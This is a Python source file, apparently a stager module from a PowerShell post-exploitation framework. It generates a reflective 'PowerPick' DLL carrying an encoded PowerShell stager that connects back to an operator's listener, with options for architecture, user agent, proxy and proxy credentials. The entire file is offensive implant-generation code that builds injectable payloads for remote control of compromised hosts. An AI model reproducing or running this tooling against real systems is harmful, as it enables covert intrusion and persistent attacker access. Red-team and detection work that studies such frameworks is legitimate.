99 lines
3.5 KiB
Python
99 lines
3.5 KiB
Python
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from lib.common import helpers
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class Stager:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'DLL Launcher',
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'Author': ['@sixdub'],
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'Description': ('Generate a PowerPick Reflective DLL to inject with stager code.'),
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'Comments': [
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''
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]
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}
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# any options needed by the stager, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Listener' : {
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'Description' : 'Listener to generate stager for.',
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'Required' : True,
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'Value' : ''
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},
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'Arch' : {
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'Description' : 'Architecture of the .dll to generate (x64 or x86).',
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'Required' : True,
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'Value' : 'x64'
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},
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'Listener' : {
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'Description' : 'Listener to use.',
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'Required' : True,
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'Value' : ''
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'OutFile' : {
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'Description' : 'File to output dll to.',
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'Required' : True,
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'Value' : '/tmp/launcher.dll'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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listenerName = self.options['Listener']['Value']
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arch = self.options['Arch']['Value']
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# staging options
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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if not self.mainMenu.listeners.is_listener_valid(listenerName):
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# not a valid listener, return nothing for the script
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print helpers.color("[!] Invalid listener: " + listenerName)
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return ""
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else:
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# generate the PowerShell one-liner with all of the proper options set
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
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if launcher == "":
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print helpers.color("[!] Error in launcher generation.")
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return ""
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else:
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launcherCode = launcher.split(" ")[-1]
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dll = self.mainMenu.stagers.generate_dll(launcherCode, arch)
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return dll
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